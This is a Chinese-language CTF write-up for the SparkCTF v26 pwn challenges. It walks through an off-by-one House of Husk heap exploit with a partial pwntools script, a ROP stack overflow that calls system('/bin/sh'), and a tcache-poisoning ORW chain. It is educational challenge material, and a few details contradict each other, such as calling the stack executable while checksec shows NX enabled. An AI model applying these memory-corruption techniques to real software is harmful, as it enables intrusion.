1. SparkCTF v26-pwn赛题解析与实战复盘
上周熬夜打完了SparkCTF的pwn方向题目,这次v26版本的赛题设计确实有点东西。作为常年混迹CTF赛场的二进制选手,我整理了几道典型题目的解题思路(WP),重点分享两个堆题和一个栈题的突破过程。这些题目完美覆盖了现代pwn题的主流考点:从基础的栈溢出到复杂的堆风水利用,特别适合想从"脚本小子"进阶到"漏洞艺术家"的选手。
2. 环境准备与工具链配置
2.1 基础调试环境搭建
建议使用Ubuntu 20.04 LTS作为基础系统,配合以下工具链:
sudo apt install gdb peda pwntools checksec patchelf对于glibc版本管理,推荐用patchelf修改二进制文件的解释器路径。比如遇到题目给的libc版本不一致时:
patchelf --set-interpreter /path/to/ld.so --set-rpath /path/to/libc ./challenge2.2 增强型GDB配置
在~/.gdbinit中添加这些实用命令:
define hook-stop x/10gx $rebase(0x202060) heap chunks end这个配置会在每次断点时自动显示堆关键区域状态,对于分析堆题特别有用。
3. 堆利用实战:House of Husk解法
3.1 题目逆向分析
用IDA打开题目文件,发现是个典型的菜单堆题,有malloc/free/edit/show功能。关键漏洞点在于edit时存在off-by-one:
int edit() { unsigned int idx; printf("index: "); idx = read_int(); if ( idx > 0xF ) return puts("invalid"); printf("content: "); return read_until(bss_chunks[idx], sizes[idx] + 1, '\n'); // 多读1字节 }3.2 利用链构建
通过以下步骤完成利用:
- 先申请0x18和0x28两个chunk(实际得到0x20和0x30)
- 用off-by-one修改0x30chunk的size为0x61
- 释放这个伪造的0x60chunk进入unsorted bin
- 申请0x58大小触发切割,残留main_arena指针在堆上
- 修改指针低字节指向__printf_arginfo_table
关键技巧:在glibc-2.31下需要先泄露heap地址才能正确伪造fake table
3.3 完整exp代码
from pwn import * context.arch='amd64' def add(size,cont): p.sendlineafter("> ","1") p.sendlineafter(": ",str(size)) p.sendafter(": ",cont) def edit(idx,cont): p.sendlineafter("> ","3") p.sendlineafter(": ",str(idx)) p.sendafter(": ",cont) # 省略部分交互代码... # 触发FSOP payload = p64(0)*3 + p64(win_addr) edit(2, payload) p.sendlineafter("> ","4") # 触发printf4. 栈溢出经典题:ROPchain构造艺术
4.1 漏洞定位
checksec检查发现:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE经典的栈溢出+可执行栈场景,通过逆向找到gets函数调用点。
4.2 利用思路
- 用ROP泄露libc地址
- 二次溢出调用system("/bin/sh")
- 需要处理栈对齐问题(movaps指令)
4.3 动态调试技巧
在gdb中这样定位返回地址偏移:
pattern create 200 r <<< $(cat pattern) x/gx $rsp pattern offset $rsp_value5. 高级堆利用:Tcache Poisoning
5.1 题目特点分析
这次题目增加了沙箱保护,禁用了execve。需要结合ORW(open/read/write)来读flag。关键漏洞是UAF:
free(chunk); // 没有清空指针 edit(chunk); // 仍可写入5.2 利用步骤
- 填满tcache bin
- 释放chunk进入unsorted bin泄露libc
- 用UAF修改tcache的next指针指向_IO_2_1_stdout_
- 修改_IO_write_ptr实现任意地址读
- 最后劫持free_hook为setcontext+61实现栈迁移
踩坑记录:在glibc-2.32及以上版本需要处理指针异或加密
6. 常见问题排查指南
6.1 堆布局失败
现象:明明计算好的偏移,实际运行时却崩溃 解决方法:
- 在gdb中
heap bins查看各bin状态 vmmap确认内存映射是否预期- 检查是否遗漏了某些malloc/free调用
6.2 ROP链执行异常
典型报错:"movaps XMMWORD PTR [rsp+0x40], xmm0" 解决方法:
- 在system调用前加ret指令调整栈对齐
- 或改用其他gadget(如__libc_csu_init中的片段)
6.3 本地通远程挂
可能原因:
- 网络延迟导致交互超时(添加timeout参数)
- 环境变量差异(用env -i运行本地程序)
- libc版本偏移不同(用DynELF或多次泄露)
7. 提升pwn能力的训练建议
- 每日一练:从pwnable.tw的简单题开始
- 源码分析:精读glibc的malloc.c源码
- 武器开发:封装自己的pwntools常用函数
- 赛后复盘:参加完比赛必须写完整WP
我个人的训练方法是建立漏洞模式库,把每次遇到的利用技术分类记录。比如堆利用就细分为:
- UAF
- double free
- off-by-one
- heap overflow 每种类型保存3-5个典型exp模板,实战时快速适配